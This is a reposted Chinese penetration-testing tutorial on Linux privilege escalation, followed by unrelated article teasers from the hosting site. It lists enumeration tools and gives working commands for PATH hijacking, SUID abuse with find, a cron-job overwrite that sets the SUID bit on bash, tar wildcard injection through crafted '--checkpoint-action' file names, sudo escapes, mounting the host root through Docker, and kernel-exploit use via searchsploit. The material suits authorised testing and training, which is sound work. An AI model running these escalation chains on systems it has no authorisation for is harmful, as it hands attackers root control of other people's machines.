内网渗透之Linux权限提升大法

文章目录

  • 内网渗透|Linux权限提升大法
    • 0x01 前言
    • 0x02 工具介绍
      • 1.traitor
      • 2.LinEnum
      • 3.linux-exploit-suggester.sh
      • 4.Linux Exploit Suggester 2
      • 5.beroot
    • 0X02提权手法
      • 1.环境变量提权
      • 2.利用suid提权
      • 3.定时任务提权
        • 3.1定时任务文件覆盖提权
        • 3.2定时任务tar命令通配符注入提权
      • 4.sudo提权
      • 5.Docker提权
      • 6.内核溢出提权

内网渗透|Linux权限提升大法

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 工具介绍

1.traitor

地址:https://github.com/liamg/traitor

描述:

 1. 自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少2. 不带参数运行寻找可能存在的漏洞3. 带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数

用法:
1.不带参数运行以查找可能允许权限升级的潜在漏洞/错误配置。-p如果当前用户密码已知,则添加该标志。如果需要分析sudo权限等,将要求输入密码。

traitor -p

2.使用-a/--any标志运行以查找潜在漏洞,尝试利用每个漏洞,如果获得 root shell,则停止。-p如果当前用户密码已知,请再次添加该标志。

traitor -a -p

3.使用-e/--exploit标志运行以尝试利用特定漏洞并获得 root shell

traitor -p -e docker:writable-socket

2.LinEnum

地址:https://github.com/rebootuser/LinEnum

描述:

可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式

用法:
在这里插入图片描述

3.linux-exploit-suggester.sh

地址:https://github.com/The-Z-Labs/linux-exploit-suggester

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.评估 Linux 机器对公开已知漏洞的暴露程度:

./linux-exploit-suggester.sh

2.显示 Linux 机器上的安全功能状态:

./linux-exploit-suggester.sh --checksec

3.根据提供的“uname”字符串(即uname -a命令的输出)评估 Linux 内核对已知漏洞的暴露程度:

./linux-exploit-suggester.sh --uname <uname-string>

4.Linux Exploit Suggester 2

地址:https://github.com/jondonas/linux-exploit-suggester-2

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.当不带参数运行时,该脚本会执行“uname -r”来获取 Linux 操作系统发行版本,并返回可能的漏洞利用列表。其中包含 CVE 和适用的漏洞利用 POC 的链接。请记住,修补/向后移植的补丁可能会欺骗该脚本。

./linux-exploit-suggester-2.pl

2.使用-k标志手动输入内核/操作系统发行版本的通配符。

./linux-exploit-suggester-2.pl -k 3

3.使用-d标志打开下载菜单,直接从漏洞利用数据库检索漏洞利用代码。您可以下载所有漏洞利用程序,也可以按编号单独选择它们。

./linux-exploit-suggester-2.pl -d

4.使用-h标志显示帮助菜单

5.beroot

地址:https://github.com/AlessandroZ/BeRoot

描述:

BeRoot是一个后开发工具,该项目适用于 Windows、Linux,以方便找到提高我们提权的方法。

0X02提权手法

1.环境变量提权

管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门。

提权流程:

1.ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序

2.找到用户自己编译的程序

3.去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等

4.我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的

5.Linux 在执行命令时会按照以下顺序搜索可执行文件:

 1. 命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。2. 用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。3. 内建命令(built-in):Linux Shell 提供了一些内建命令,例如 cd、echo等。如果命令是内建命令,则会执行内建命令。4. 按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH中指定的径顺序搜索可执行文件。PATH环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。

2.利用suid提权

具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。

手动查看有suid权限的命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print  2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述上面的所有二进制文件都将以 root 权限执行,因为它们的权限中包含"s" 并且由 root 用户拥有。

可以用来提权的命令

Nmap
Vim
find
Bash
More
Less
Nano
cp

例如:find的利用

touch pentestlab
find pentestlab -exec whoami \;

3.定时任务提权

3.1定时任务文件覆盖提权

利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权。

需要具备的条件:

 1. 有root权限执行的定时任务2. 有权限修改root权限执行的定时任务

通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的。

例如:

添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行

vim /etc/crontab

这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:os.system('rm -r /root/add/*')
except:sys.exit()

添加后保存即可,此时定时任务已经添加成功,切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务。

在这里插入图片描述在普通用户下也可以编译定时任务执行的文件。
在这里插入图片描述可以把命令替换成 chmod u+s /bin/bash 赋予bash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shell,需要加上-p参数才能提权,bash -p

我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限

 find `which find` -exec whoami \;
3.2定时任务tar命令通配符注入提权

定时任务Tar命令通配符注入提权(Cron Tar Command Wildcard Injection Privilege Escalation)是指通过在定时任务中使用Tar命令和通配符时,利用不当地输入验证或不正确的权限配置,使攻击者能够执行恶意代码并以更高的权限运行。

例如:
1.添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下

vim /etc/crontab
*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

2.接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件。

创建一个–checkpoint-action=exec=sh test.sh名字的空文件,创建–checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可:

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"  ##执行test.sh文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中
chmod +x test.sh  ##赋予执行权限

这个方法利用了命令的一些特性,例如,目录下存在一个--help文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情。

tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

也就是在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果。

PS:–checkpoint、–checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。–checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。)

3.此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件。

4.使用 /tmp/bash -p 即可提权

PS:还有另一种情况

刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。

vim /etc/crontab
*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

执行完后,只需要等待定时任务触发即可执行我们的test.sh。

4.sudo提权

在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers文件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行。
在这里插入图片描述这三条的意思分别是:


root ALL=(ALL:ALL) ALL :
允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。%admin ALL=(ALL) ALL :
允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权
限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。%sudo ALL=(ALL:ALL) ALL :
允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这
里也使用了%sudo表示组权限。

在实际情况中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find

这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件:

 1. 知道当前用户的密码2. 有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令

如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查看/etc/sudoers配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的。

例如:find提权

sudo find /home -exec whoami \;  ##可以看到获得的是root用户
sudo find /home -exec bash \;    ##或者直接调用bash来获取shell

在这里插入图片描述

5.Docker提权

docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着,有docker 组的权限就如同到root的访问权,而且不需要知道密码。

区别于docker逃逸,相当于是利用docker进行提权。如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权。

条件:

当前用户在docker用户组,可以使用docke。

1.查看是否在docker组下:

cat /etc/group | grep olw

在这里插入图片描述
2.利用docker,将mnt目录挂载到宿主的根目录,提权成功

docker run -v /:/mnt -it alpine

6.内核溢出提权

利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

例如:

第一步:查看目标系统的相关信息

uname -a           #查看内核/操作系统/cpu信息
cat /proc/version  #查看系统信息
cat /etc/issue     #查看操作系统版本
lsb_release -a     #查询系统版本等信息

第二步:使用searchsploit工具寻找对应的exp

searchsploit -t 3.19

在这里插入图片描述

searchsploit -x linux/local/37292.c

在这里插入图片描述

第三步:让目标机器远程下载exp文件
在这里插入图片描述
第四步:将exp文件进行编译
在这里插入图片描述
第五步:执行exp文件,提权成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/166889.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【matlab程序】matlab给风速添加图例大小

【matlab程序】matlab给风速添加图例大小 clear;clc;close all; % load 加载风速数据。 load(matlab.mat) % 加载颜色包信息 gray load(D:\matlab_work\函数名为colormore的颜色索引表制作\R_color_txt\R_color_single\gray89.txt); brown load(D:\matlab_work\函数名为color…

_STORAGE_WRITE_ERROR_ thinkphp报错问题原因

整个报错内容如下 Uncaught exception Think\Exception with message _STORAGE_WRITE_ERROR_:./Runtime/Cache/Home/1338db9dec777aab181d4e74d1bdf964.php in C:\inetpub\wwwroot\ThinkPHP\Common\functions.php:101 Stack trace: #0 C:\inetpub\wwwroot\ThinkPHP\Library\…

JavaFx 设置窗口边框圆角

UI界面要求窗口边框有一定弧度&#xff0c;因为之前没有做过&#xff0c;网上看了很多文章&#xff0c;都用到了css语句 "-fx-background-radius: ; 我在xml布局文件根节点使用无效&#xff0c;在Scene组件设置无效&#xff0c;gpt等ai问了一圈代码也是无效&#xff0c;…

【JavaEE】认识多线程

作者主页&#xff1a;paper jie_博客 本文作者&#xff1a;大家好&#xff0c;我是paper jie&#xff0c;感谢你阅读本文&#xff0c;欢迎一建三连哦。 本文录入于《vaEE》专栏&#xff0c;本专栏是针对于大学生&#xff0c;编程小白精心打造的。笔者用重金(时间和精力)打造&am…

React + BraftEditor 实现富文本编辑

Braft Editor 是一个基于 React 和 Draft-js 开发的富文本编辑器&#xff0c;提供了丰富的基础功能&#xff0c;如基本文本格式化、列表、链接、图片上传、视频插入等&#xff0c;并且还支持扩展。 首先&#xff0c;确保你已经在项目中安装了 Braft Editor 和它的依赖项&#x…

NPU、CPU、GPU算力及算力计算方式

NVIDIA在9月20日发布的NVIDIA DRIVE Thor 新一代集中式车载计算平台&#xff0c;可在单个安全、可靠的系统上运行高级驾驶员辅助应用和车载信息娱乐应用。提供 2000 万亿次浮点运算性能&#xff08;2000 万亿次8位浮点运算&#xff09;。NVIDIA当代产品是Orin&#xff0c;算力是…

堪比数据恢复大师软件推荐,恢复数据很简单!

“作为一个经常丢失数据的电脑用户来说&#xff0c;我觉得我非常需要一些简单有效的数据恢复方法。大家有什么比较靠谱的软件推荐吗&#xff1f;非常感谢&#xff01;” 在数字化时代&#xff0c;数据的存储是比较重要的。很多用户都会选择将重要的文件保存在电脑上。如果数据丢…

第二证券:北证50指数一枝独秀 短剧游戏概念股持续活跃

周三&#xff0c;沪深两市三大指数颤动调整&#xff0c;北证50指数“鹤立鸡群”&#xff0c;大涨超8%。到收盘&#xff0c;上证综指报3043.61点&#xff0c;跌0.79%&#xff1b;深证成指报9855.66点&#xff0c;跌1.41%&#xff1b;创业板指报1950.01点&#xff0c;跌1.73%。沪…

uni-app,nvue中text标签文本超出宽度不换行问题解决

复现&#xff1a;思路&#xff1a; 将text标签换为rich-text&#xff0c;并给rich-text增加换行的样式class类名解决&#xff1a;

【Vue】浏览器安装vue插件

首先看一下安装之后的效果&#xff0c;再考虑一下要不要安装 安装完之后&#xff0c;打开浏览器控制台&#xff08;ctrl shift j) <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</t…

HOOPS Web平台助力开发3D应用,实现超大规模3D web轻量化渲染与数据格式转换!

一、包含的软件开发工具包 HOOPS Web平台帮助开发人员构建基于Web的工程应用程序&#xff0c;提供高级3D Web可视化、准确快速的CAD数据访问和3D数据发布。 HOOPS Web平台包括三个集成软件开发工具包 (SDK)&#xff1a; &#xff08;1&#xff09;Web端3D可视化引擎 HOOPSCom…

mysql查询表的字段,字段名以及注释sql语句

sql语句如下&#xff1a; selecta.ordinal_position 序号,a.COLUMN_name 字段名,a.COLUMN_type 字段类型,(case a.is_nullable when NO then 是 else 否 end) 是否非空,(case a.column_key when PRI then 是 else 否 end) 是否主键,a.COLumn_comment 注释 frominformation_sch…

【C/C++】素数专题

素数专题 1.判断素数模板2.求范围内的素数&#xff08;101-200&#xff09;3.判断素数与分解 1.判断素数模板 #include<stdio.h> #include<math.h>int prism(int n){if(n1) return 0;for(int i2;i<sqrt(n);i){if(n%i0) return 0;}return 1; }int main() {int n…

Doris中的物化视图(十八)

物化视图就是包含了查询结果的数据库对象&#xff0c;可能是对远程数据的本地 copy&#xff0c;也可能是一个表或多表 join 后结果的行或列的子集&#xff0c;也可能是聚合后的结果。说白了&#xff0c;就是预先存储查询结果的一种数据库对象。 在 Doris 中的物化视图&#xf…

【深度学习】P1 数据缺失值预处理

数据缺失值预处理 创建数据集展示数据集缺失值处理 创建数据集 首先创建一个人工数据集&#xff0c;作为下文对数据缺失值预处理的案例&#xff0c; import osos.makedirs(os.path.join(.., data), exist_okTrue) data_file os.path.join(.., data, house_tiny.csv) with op…

SIP协议在语音通信的应用方式

在企业语音通信的过程中&#xff0c;SIP协议支持的网络通信技术通过网络为用户提供了无数的通信便利&#xff0c;已成为企业不可或缺的重要通信技术。由于SIP协议是语音通信帮助企业实现这些优势的原因&#xff0c;因此了解支持这些呼叫的SIP协议的上下文至关重要。 什么是SIP?…

Duplicate 模型中的 ROLLUP(十六)

因为 Duplicate 模型没有聚合的语意。所以该模型中的 ROLLUP&#xff0c;已经失去了“上卷”这一层含义。而仅仅是作为调整列顺序&#xff0c;以命中前缀索引的作用。下面详细介绍前缀索引&#xff0c;以及如何使用 ROLLUP 改变前缀索引&#xff0c;以获得更好的查询效率。 前…

微服务保护 Sentinel

1.初识Sentinel 文章目录 1.初识Sentinel1.1.雪崩问题及解决方案1.1.1.雪崩问题1.1.2.超时处理1.1.3.仓壁模式1.1.4.断路器1.1.5.限流1.1.6.总结 1.2.服务保护技术对比1.3.Sentinel介绍和安装1.3.1.初识Sentinel1.3.2.安装Sentinel 1.4.微服务整合Sentinel 2.流量控制2.1.簇点链…

MacM1(ARM)安装Protocol Buffers

MacM1(ARM)安装Protocol Buffers 本文目录 MacM1(ARM)安装Protocol Buffers3.21之前版本安装使用configure3.22之后版本安装使用cmake使用编译后的版本 protobuf下载地址&#xff1a;https://github.com/protocolbuffers/protobuf/releases 在运行./autogen.sh或./configure命…

curl添加https服务

CURL支持的通信协议有FTP、FTPS、HTTP、HTTPS、TFTP、SFTP、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP。 首选删除系统自带的openssl&#xff0c;因为他只有可执行程序和库&#xff0c;没有头文件。 sudo apt-get remove openssl openssl官网&am…